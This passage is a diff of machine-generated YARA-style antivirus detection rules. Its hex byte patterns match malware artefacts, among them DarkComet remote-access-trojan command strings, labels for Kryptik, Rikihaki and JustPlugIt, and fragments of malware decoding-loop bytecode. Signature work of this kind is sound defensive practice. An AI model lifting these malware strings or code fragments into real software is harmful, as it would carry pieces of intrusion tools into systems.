_InfrastructureShared_16609{ ((#a_46_0 & 1)*21283+(#a_53_1 & 1)*29541+(#a_01_2 & 1)*26414+(#a_2e_3 & 1)*25959+(#a_01_4 & 1)*30316+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1) >=10 } -rule _InfrastructureShared_16610{ +rule _InfrastructureShared_17702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -195882,7 +208999,7 @@ rule _InfrastructureShared_16610{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*28484+(#a_79_2 & 1)*28525+(#a_03_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_0e_8 & 1)*0+(#a_36_9 & 1)*17475+(#a_78_10 & 1)*13621+(#a_01_11 & 1)*28265) >=12 } -rule _InfrastructureShared_16611{ +rule _InfrastructureShared_17703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -195896,7 +209013,7 @@ rule _InfrastructureShared_16611{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*5282+(#a_00_2 & 1)*114+(#a_46_3 & 1)*385+(#a_00_4 & 1)*13893) >=14 } -rule _InfrastructureShared_16612{ +rule _InfrastructureShared_17704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -195918,7 +209035,7 @@ rule _InfrastructureShared_16612{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1792+(#a_42_2 & 1)*28530+(#a_74_4 & 1)*26369+(#a_58_5 & 1)*24408+(#a_00_6 & 1)*1+(#a_1d_7 & 1)*3840+(#a_1e_8 & 1)*656+(#a_00_9 & 1)*144+(#a_68_10 & 1)*27139+(#a_ff_11 & 1)*30463+(#a_6c_12 & 1)*14934+(#a_44_13 & 1)*24949) >=15 } -rule _InfrastructureShared_16613{ +rule _InfrastructureShared_17705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -195935,7 +209052,7 @@ rule _InfrastructureShared_16613{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*20225+(#a_58_2 & 1)*22616+(#a_33_3 & 1)*26967+(#a_01_5 & 1)*-24320+(#a_6f_6 & 1)*17978+(#a_00_7 & 1)*2448+(#a_61_8 & 1)*281) >=18 } -rule _InfrastructureShared_16614{ +rule _InfrastructureShared_17706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,6f 00 6f 00 0b 00 21 " @@ -195954,7 +209071,7 @@ rule _InfrastructureShared_16614{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*783+(#a_00_2 & 1)*144+(#a_68_3 & 1)*27139+(#a_ff_4 & 1)*30463+(#a_6c_5 & 1)*14934+(#a_44_6 & 1)*24949+(#a_00_8 & 1)*121+(#a_39_9 & 1)*12297+(#a_15_10 & 1)*-15479) >=111 } -rule _InfrastructureShared_16615{ +rule _InfrastructureShared_17707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -195965,7 +209082,7 @@ rule _InfrastructureShared_16615{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30068) >=1 } -rule _InfrastructureShared_16616{ +rule _InfrastructureShared_17708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -195979,7 +209096,7 @@ rule _InfrastructureShared_16616{ ((#a_46_0 & 1)*21283+(#a_04_1 & 1)*-28636+(#a_90_2 & 1)*20694+(#a_01_3 & 1)*-28668+(#a_90_4 & 1)*-7799) >=1 } -rule _InfrastructureShared_16617{ +rule _InfrastructureShared_17709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -195989,7 +209106,7 @@ rule _InfrastructureShared_16617{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_16618{ +rule _InfrastructureShared_17710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -195999,7 +209116,7 @@ rule _InfrastructureShared_16618{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_16619{ +rule _InfrastructureShared_17711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -196010,7 +209127,7 @@ rule _InfrastructureShared_16619{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*400) >=2 } -rule _InfrastructureShared_16620{ +rule _InfrastructureShared_17712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -196026,7 +209143,7 @@ rule _InfrastructureShared_16620{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*284+(#a_00_3 & 1)*110+(#a_52_4 & 1)*28265+(#a_00_5 & 1)*101+(#a_01_6 & 1)*-28564+(#a_00_7 & 1)*14637) >=2 } -rule _InfrastructureShared_16621{ +rule _InfrastructureShared_17713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -196038,7 +209155,7 @@ rule _InfrastructureShared_16621{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_90_2 & 1)*11617) >=3 } -rule _InfrastructureShared_16622{ +rule _InfrastructureShared_17714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -196049,7 +209166,7 @@ rule _InfrastructureShared_16622{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*46) >=3 } -rule _InfrastructureShared_16623{ +rule _InfrastructureShared_17715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -196061,7 +209178,7 @@ rule _InfrastructureShared_16623{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*2560+(#a_0a_2 & 1)*2059) >=3 } -rule _InfrastructureShared_16624{ +rule _InfrastructureShared_17716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -196071,7 +209188,7 @@ rule _InfrastructureShared_16624{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_16625{ +rule _InfrastructureShared_17717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -196082,7 +209199,7 @@ rule _InfrastructureShared_16625{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*10244) >=3 } -rule _InfrastructureShared_16626{ +rule _InfrastructureShared_17718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -196095,7 +209212,7 @@ rule _InfrastructureShared_16626{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_f8_2 & 1)*-14453+(#a_00_4 & 1)*58) >=3 } -rule _InfrastructureShared_16627{ +rule _InfrastructureShared_17719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -196109,7 +209226,7 @@ rule _InfrastructureShared_16627{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_2d_2 & 1)*13382+(#a_23_3 & 1)*10+(#a_61_4 & 1)*29550) >=3 } -rule _InfrastructureShared_16628{ +rule _InfrastructureShared_17720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -196128,7 +209245,7 @@ rule _InfrastructureShared_16628{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*15727+(#a_74_2 & 1)*20225+(#a_45_3 & 1)*17986+(#a_61_4 & 1)*28530+(#a_b6_5 & 1)*539+(#a_c8_6 & 1)*1222+(#a_82_7 & 1)*1025+(#a_ca_8 & 1)*608+(#a_0f_9 & 1)*400) >=3 } -rule _InfrastructureShared_16629{ +rule _InfrastructureShared_17721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -196139,7 +209256,7 @@ rule _InfrastructureShared_16629{ ((#a_46_0 & 1)*16675+(#a_1b_1 & 1)*-24072) >=4 } -rule _InfrastructureShared_16630{ +rule _InfrastructureShared_17722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -196152,7 +209269,7 @@ rule _InfrastructureShared_16630{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*19804+(#a_2e_2 & 1)*13109+(#a_32_3 & 1)*12135) >=4 } -rule _InfrastructureShared_16631{ +rule _InfrastructureShared_17723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -196163,7 +209280,7 @@ rule _InfrastructureShared_16631{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*89) >=4 } -rule _InfrastructureShared_16632{ +rule _InfrastructureShared_17724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -196175,7 +209292,7 @@ rule _InfrastructureShared_16632{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*4955+(#a_11_3 & 1)*9473) >=4 } -rule _InfrastructureShared_16633{ +rule _InfrastructureShared_17725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -196188,7 +209305,7 @@ rule _InfrastructureShared_16633{ ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*-28539+(#a_24_2 & 1)*-30209+(#a_d0_3 & 1)*-1) >=4 } -rule _InfrastructureShared_16634{ +rule _InfrastructureShared_17726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -196201,7 +209318,7 @@ rule _InfrastructureShared_16634{ ((#a_70_0 & 1)*16675+(#a_43_1 & 1)*25971+(#a_63_2 & 1)*16708+(#a_00_3 & 1)*3960) >=4 } -rule _InfrastructureShared_16635{ +rule _InfrastructureShared_17727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -196214,7 +209331,7 @@ rule _InfrastructureShared_16635{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*8303+(#a_00_3 & 1)*116+(#a_4d_4 & 1)*17491) >=5 } -rule _InfrastructureShared_16636{ +rule _InfrastructureShared_17728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -196228,7 +209345,7 @@ rule _InfrastructureShared_16636{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*13366+(#a_32_2 & 1)*12345+(#a_37_3 & 1)*13881+(#a_50_4 & 1)*19521) >=5 } -rule _InfrastructureShared_16637{ +rule _InfrastructureShared_17729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -196241,7 +209358,7 @@ rule _InfrastructureShared_16637{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*26478+(#a_00_3 & 1)*120+(#a_00_5 & 1)*99) >=5 } -rule _InfrastructureShared_16638{ +rule _InfrastructureShared_17730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -196257,7 +209374,7 @@ rule _InfrastructureShared_16638{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*27424+(#a_65_2 & 1)*8308+(#a_23_3 & 1)*8+(#a_6f_4 & 1)*385+(#a_72_5 & 1)*26465+(#a_79_6 & 1)*29806) >=7 } -rule _InfrastructureShared_16639{ +rule _InfrastructureShared_17731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -196272,7 +209389,7 @@ rule _InfrastructureShared_16639{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25970+(#a_01_2 & 1)*28265+(#a_6e_3 & 1)*29806+(#a_00_4 & 1)*105+(#a_52_7 & 1)*21320) >=8 } -rule _InfrastructureShared_16640{ +rule _InfrastructureShared_17732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 08 00 21 " @@ -196288,7 +209405,7 @@ rule _InfrastructureShared_16640{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*117+(#a_00_3 & 1)*105+(#a_42_4 & 1)*19745+(#a_74_5 & 1)*13366+(#a_00_6 & 1)*26483+(#a_68_7 & 1)*385) >=9 } -rule _InfrastructureShared_16641{ +rule _InfrastructureShared_17733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -196306,7 +209423,7 @@ rule _InfrastructureShared_16641{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*25714+(#a_73_2 & 1)*25715+(#a_42_3 & 1)*19745+(#a_65_4 & 1)*296+(#a_77_5 & 1)*30511+(#a_72_6 & 1)*21294+(#a_6d_7 & 1)*29555+(#a_00_8 & 1)*21581) >=9 } -rule _InfrastructureShared_16642{ +rule _InfrastructureShared_17734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -196324,7 +209441,7 @@ rule _InfrastructureShared_16642{ ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*26955+(#a_38_2 & 1)*13869+(#a_62_3 & 1)*11895+(#a_70_4 & 1)*29283+(#a_6c_5 & 1)*29541+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_16643{ +rule _InfrastructureShared_17735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 21 " @@ -196343,7 +209460,7 @@ rule _InfrastructureShared_16643{ ((#a_4c_0 & 1)*21539+(#a_6d_1 & 1)*20069+(#a_67_2 & 1)*26996+(#a_6e_3 & 1)*12108+(#a_65_4 & 1)*11895+(#a_5f_5 & 1)*24415+(#a_45_6 & 1)*276+(#a_65_7 & 1)*24944+(#a_74_8 & 1)*29271+(#a_69_9 & 1)*17250) >=9 } -rule _InfrastructureShared_16644{ +rule _InfrastructureShared_17736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 21 " @@ -196360,7 +209477,7 @@ rule _InfrastructureShared_16644{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26994+(#a_02_2 & 1)*25441+(#a_7a_3 & 1)*25970+(#a_47_4 & 1)*4352+(#a_72_5 & 1)*30019+(#a_6f_6 & 1)*21562+(#a_72_7 & 1)*27749) >=10 } -rule _InfrastructureShared_16645{ +rule _InfrastructureShared_17737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -196379,7 +209496,7 @@ rule _InfrastructureShared_16645{ ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*9729+(#a_4c_2 & 1)*25927+(#a_6f_3 & 1)*28279+(#a_6f_4 & 1)*29555+(#a_61_5 & 1)*28530+(#a_79_6 & 1)*29797+(#a_61_7 & 1)*30565+(#a_4c_8 & 1)*21325+(#a_34_9 & 1)*12639) >=10 } -rule _InfrastructureShared_16646{ +rule _InfrastructureShared_17738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 09 00 21 " @@ -196397,7 +209514,7 @@ rule _InfrastructureShared_16646{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_81_2 & 1)*2+(#a_81_3 & 1)*2+(#a_81_4 & 1)*2+(#a_02_5 & 1)*2+(#a_81_6 & 1)*1+(#a_0f_7 & 1)*0+(#a_80_8 & 1)*1) >=13 } -rule _InfrastructureShared_16647{ +rule _InfrastructureShared_17739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -196412,14 +209529,14 @@ rule _InfrastructureShared_16647{ $a_64_7 = {72 6a 78 01 00 0a 01 64 6d 67 79 6b 72 73 66 6a 72 01 00 0d 01 5c 63 6f 6e 66 6f 75 6e 64 2e 68 71 78 01 00 0b 01 7a 6c 74 77 6b 6e 77 75 71 6e 6f 01 00 1b 01 5c 6c 6f 63 6b 64 6f 77 6e 5c 67 72 61 6e 64 65 75 72 5c 70 72 6f 6f 66 69 6e 67 00 00 78 0f 01 00 14 00 14 00 09 00 21 23 41 4c 46 3a 59 32 56 3a 5f 4b 65 76 69 6e 5f 42 72 65 65 6e 5f 6b 65 76 69 6e } //30306 $a_63_8 = {61 6e 61 72 63 68 79 5f 6e 65 74 5f 2f 44 61 72 6b 43 6f 6d 65 74 5f 33 00 05 00 0e 01 23 42 4f 54 23 55 52 4c 55 70 64 61 74 65 05 00 1e 01 43 6f 6d 6d 61 6e 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 65 78 65 63 75 74 65 64 21 05 00 12 01 4d 00 55 00 54 00 45 00 58 00 4e 00 41 00 4d 00 45 00 05 00 } //29791 $a_00_9 = {45 00 54 00 44 00 41 00 54 00 41 00 04 00 16 01 46 61 73 74 4d 4d 20 42 6f 72 6c 61 6e 64 20 45 64 69 74 69 6f 6e 04 00 0f 01 25 73 2c 20 43 6c 61 73 73 49 44 3a 20 25 73 04 00 24 01 49 20 77 61 73 6e 27 74 20 61 62 6c 65 20 74 6f 20 } //270 - $a_6e_10 = {74 68 65 20 68 6f 73 74 73 20 66 69 6c 65 04 00 0d 01 23 42 4f 54 23 56 69 73 69 74 55 72 6c 04 00 07 01 23 4b 43 4d 44 44 43 00 00 78 10 01 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 41 42 53 4e 21 4d 54 42 00 01 00 e1 02 8e 69 5d 91 9e 11 90 01 } //28783 - $a_9e_11 = {17 58 0b 07 20 90 01 } //1793 - $a_90_12 = {01 16 25 0b 0c 2b 90 01 01 08 11 90 01 01 07 94 58 11 90 01 01 07 94 58 20 90 01 03 00 5d 0c 11 90 01 01 07 94 13 90 01 01 11 90 01 01 07 11 90 01 01 } //3 + $a_6e_10 = {74 68 65 20 68 6f 73 74 73 20 66 69 6c 65 04 00 0d 01 23 42 4f 54 23 56 69 73 69 74 55 72 6c 04 00 07 01 23 4b 43 4d 44 44 43 00 00 78 0f 01 00 50 00 50 00 03 00 21 23 54 45 4c 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 52 69 6b 69 68 61 6b 69 2e 41 2e 4d 52 21 4d 54 42 00 14 00 4f 01 03 85 a8 fb ff ff 0f b6 } //28783 + $a_d1_11 = {85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 48 fe 33 d1 8b 85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 48 fd 33 d1 8b 85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 08 33 } //-184 + $a_d0_12 = {ff ff 03 95 a8 fb ff ff 88 0a 0a 00 51 01 f3 ab 8b 45 10 8b 4d 08 03 08 89 4d f8 8b 45 f8 89 45 ec 0f b7 45 14 c1 f8 08 25 ff 00 00 00 8b 4d ec 88 01 8b 55 ec 83 c2 01 89 55 ec 0f b7 45 14 25 ff 00 00 00 8b 4d ec 88 01 8b 55 ec 83 c2 01 89 55 ec 8b 45 10 8b 08 83 c1 02 8b 55 10 89 0a 32 00 38 01 0f b6 08 c1 e1 10 8b 55 14 0b 0a 8b 45 14 89 08 8b 4d ec 83 c1 01 89 4d ec 8b 45 ec 0f b6 08 c1 e1 08 8b 55 14 0b 0a 8b 45 14 89 08 8b 4d ec 83 c1 01 } //-29750 condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*11888+(#a_65_2 & 1)*29779+(#a_6a_3 & 1)*29268+(#a_38_4 & 1)*22529+(#a_70_5 & 1)*21620+(#a_67_6 & 1)*28524+(#a_64_7 & 1)*30306+(#a_63_8 & 1)*29791+(#a_00_9 & 1)*270+(#a_6e_10 & 1)*28783+(#a_9e_11 & 1)*1793+(#a_90_12 & 1)*3) >=13 + ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*11888+(#a_65_2 & 1)*29779+(#a_6a_3 & 1)*29268+(#a_38_4 & 1)*22529+(#a_70_5 & 1)*21620+(#a_67_6 & 1)*28524+(#a_64_7 & 1)*30306+(#a_63_8 & 1)*29791+(#a_00_9 & 1)*270+(#a_6e_10 & 1)*28783+(#a_d1_11 & 1)*-184+(#a_d0_12 & 1)*-29750) >=13 } -rule _InfrastructureShared_16648{ +rule _InfrastructureShared_17740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -196433,15 +209550,15 @@ rule _InfrastructureShared_16648{ $a_74_6 = {00 0c 01 79 6c 63 6f 62 76 78 64 73 72 6a 78 01 00 0a 01 64 6d 67 79 6b 72 73 66 6a 72 01 00 0d 01 5c 63 6f 6e 66 6f 75 6e 64 2e 68 71 78 01 00 0b 01 7a 6c 74 77 6b 6e 77 75 71 6e 6f 01 00 1b 01 5c 6c 6f 63 6b 64 6f 77 6e 5c 67 72 61 6e 64 65 75 72 5c 70 72 6f 6f 66 69 6e 67 00 00 78 0f 01 00 14 } //25970 $a_41_8 = {46 3a 59 32 56 3a 5f 4b 65 76 69 6e 5f 42 72 65 65 6e 5f 6b 65 76 69 6e 5f 74 65 63 68 61 6e 61 72 63 68 } //8448 F:Y2V:_Kevin_Breen_kevin_techanarch $a_65_9 = {5f 2f 44 61 72 6b 43 6f 6d 65 74 5f 33 00 05 00 0e 01 23 42 4f 54 23 55 52 4c 55 70 64 61 74 65 05 00 1e 01 43 6f 6d 6d 61 6e 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 65 78 65 63 75 74 65 64 21 05 00 12 01 4d 00 55 00 54 00 45 00 58 00 4e 00 41 00 4d 00 45 00 05 00 0e 01 4e 00 45 00 54 00 44 00 41 00 54 00 41 00 04 00 16 01 } //24441 - $a_74_10 = {4d 20 42 6f 72 6c 61 6e 64 20 45 64 69 74 69 6f 6e 04 00 0f 01 25 73 2c 20 43 6c 61 73 73 49 44 3a 20 25 73 04 00 24 01 49 20 77 61 73 6e 27 74 20 61 62 6c 65 20 74 6f 20 6f 70 65 6e 20 74 68 65 20 68 6f 73 74 73 20 66 69 6c 65 04 00 0d 01 23 42 4f 54 23 56 69 73 69 74 55 72 6c 04 00 07 01 23 4b 43 4d 44 44 43 00 00 78 10 01 00 01 00 01 00 01 } //24902 - $a_41_11 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 41 42 53 4e 21 4d 54 42 00 01 00 e1 02 } //8448 - $a_91_12 = {11 90 01 01 07 07 9e 07 17 58 0b 07 20 90 01 03 00 32 90 01 01 16 25 0b 0c 2b 90 01 01 08 11 90 01 01 07 94 58 11 90 01 01 07 94 58 20 90 01 03 00 5d 0c 11 90 01 01 07 94 13 90 01 01 11 90 01 01 07 11 90 01 01 08 94 9e 11 90 01 01 08 11 90 01 01 9e 07 17 58 0b 07 20 90 01 03 00 } //27022 - $a_01_13 = {16 } //-28622 + $a_74_10 = {4d 20 42 6f 72 6c 61 6e 64 20 45 64 69 74 69 6f 6e 04 00 0f 01 25 73 2c 20 43 6c 61 73 73 49 44 3a 20 25 73 04 00 24 01 49 20 77 61 73 6e 27 74 20 61 62 6c 65 20 74 6f 20 6f 70 65 6e 20 74 68 65 20 68 6f 73 74 73 20 66 69 6c 65 04 00 0d 01 23 42 4f 54 23 56 69 73 69 74 55 72 6c 04 00 07 01 23 4b 43 4d 44 44 43 00 00 78 0f 01 00 50 00 50 00 03 } //24902 + $a_54_11 = {4c 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 52 69 6b 69 68 61 6b 69 2e 41 2e 4d 52 21 4d 54 42 00 14 00 4f 01 } //8448 + $a_fb_12 = {ff 0f b6 48 ff 33 d1 8b 85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 48 fe 33 d1 8b 85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 48 fd 33 d1 8b 85 d0 fb ff ff 03 85 a8 fb ff ff 0f b6 08 33 ca 8b 95 d0 fb ff ff 03 95 a8 fb ff ff 88 0a 0a 00 51 01 f3 ab 8b 45 10 8b 4d 08 03 08 89 4d f8 8b 45 f8 89 45 ec 0f b7 45 14 c1 f8 08 25 ff 00 00 00 8b 4d ec 88 01 8b 55 ec 83 c2 01 89 55 ec 0f b7 45 14 25 ff 00 00 00 8b 4d ec 88 01 8b 55 ec 83 c2 01 89 55 ec 8b 45 10 8b 08 83 c1 02 8b 55 10 89 0a 32 00 38 01 0f b6 08 c1 e1 } //-31485 + $a_14_13 = {0a 8b 45 14 89 08 8b 4d ec 83 c1 01 89 4d ec 8b 45 ec 0f b6 08 c1 e1 08 8b 55 14 0b 0a 8b 45 14 89 08 8b 4d ec 83 c1 01 89 4d ec 8b 45 ec 00 00 78 10 01 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 41 } //-29936 condition: - ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*14391+(#a_65_2 & 1)*24898+(#a_01_3 & 1)*30720+(#a_32_4 & 1)*28265+(#a_65_5 & 1)*269+(#a_74_6 & 1)*25970+(#a_41_8 & 1)*8448+(#a_65_9 & 1)*24441+(#a_74_10 & 1)*24902+(#a_41_11 & 1)*8448+(#a_91_12 & 1)*27022+(#a_01_13 & 1)*-28622) >=14 + ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*14391+(#a_65_2 & 1)*24898+(#a_01_3 & 1)*30720+(#a_32_4 & 1)*28265+(#a_65_5 & 1)*269+(#a_74_6 & 1)*25970+(#a_41_8 & 1)*8448+(#a_65_9 & 1)*24441+(#a_74_10 & 1)*24902+(#a_54_11 & 1)*8448+(#a_fb_12 & 1)*-31485+(#a_14_13 & 1)*-29936) >=14 } -rule _InfrastructureShared_16649{ +rule _InfrastructureShared_17741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -196452,34 +209569,44 @@ rule _InfrastructureShared_16649{ $a_61_5 = {63 68 79 5f 6e 65 74 5f 2f 44 61 72 6b 43 6f 6d 65 74 5f 33 00 05 00 0e 01 23 42 4f 54 23 55 52 4c 55 70 64 61 74 65 05 00 1e 01 43 6f 6d 6d 61 6e 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 65 78 65 63 75 74 65 64 21 05 00 12 01 4d 00 55 00 54 00 45 00 58 00 4e 00 41 00 4d 00 45 00 05 00 0e 01 4e 00 45 00 54 00 44 00 41 00 54 } //24936 $a_46_7 = {73 } //5632 s $a_20_8 = {6f 72 6c 61 6e 64 20 45 64 69 74 69 6f 6e 04 00 0f 01 25 73 2c 20 43 6c 61 73 73 49 44 3a 20 25 73 04 00 24 01 49 20 77 61 73 6e 27 74 20 61 62 6c 65 20 74 6f 20 6f 70 65 6e 20 74 68 65 20 68 6f 73 74 73 20 66 69 6c 65 04 00 0d 01 } //19828 - $a_54_9 = {56 69 73 69 74 55 72 6c 04 00 07 01 23 4b 43 4d 44 44 43 00 00 78 10 01 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 41 42 53 4e 21 4d 54 42 00 01 00 e1 02 8e 69 5d 91 9e 11 90 01 01 } //16931 - $a_07_10 = {17 58 0b 07 20 90 01 03 00 32 90 01 01 16 25 0b 0c 2b 90 01 01 08 11 90 01 01 07 94 58 11 90 01 01 07 94 58 20 90 01 03 00 5d 0c 11 90 01 01 07 94 13 90 01 01 11 90 01 01 07 11 90 01 01 08 94 9e 11 90 01 01 08 11 90 01 01 9e 07 17 58 0b 07 20 90 01 03 00 32 90 01 01 16 25 0b 25 0c 0a 2b 90 01 01 06 17 58 0a 06 20 90 01 03 00 5d 0a 08 11 90 01 01 06 94 58 0c 08 20 90 01 03 00 5d 0c 11 90 01 01 06 94 13 90 01 01 11 90 01 01 06 11 90 01 01 08 94 9e 11 90 01 01 08 11 90 01 } //1799 - $a_90_11 = {01 11 90 01 01 06 94 11 90 01 01 08 94 58 20 90 01 } //-25087 - $a_94_12 = {11 90 01 01 07 03 07 91 09 61 d2 9c 07 17 58 0b 07 03 8e 69 32 90 01 01 11 90 00 00 00 78 10 01 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 4a 75 73 74 50 6c 75 67 49 74 2e 42 21 64 6c 6c 00 01 00 5e 01 49 00 4e 00 49 00 2d 00 66 00 69 00 } //3 - $a_00_13 = {3a 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 49 00 4e 00 49 00 2d 00 65 00 6e 00 63 00 3a 00 6e 00 65 00 77 00 28 00 42 00 41 00 53 00 45 00 36 00 34 00 58 00 7c 00 4d 00 45 00 54 00 41 00 29 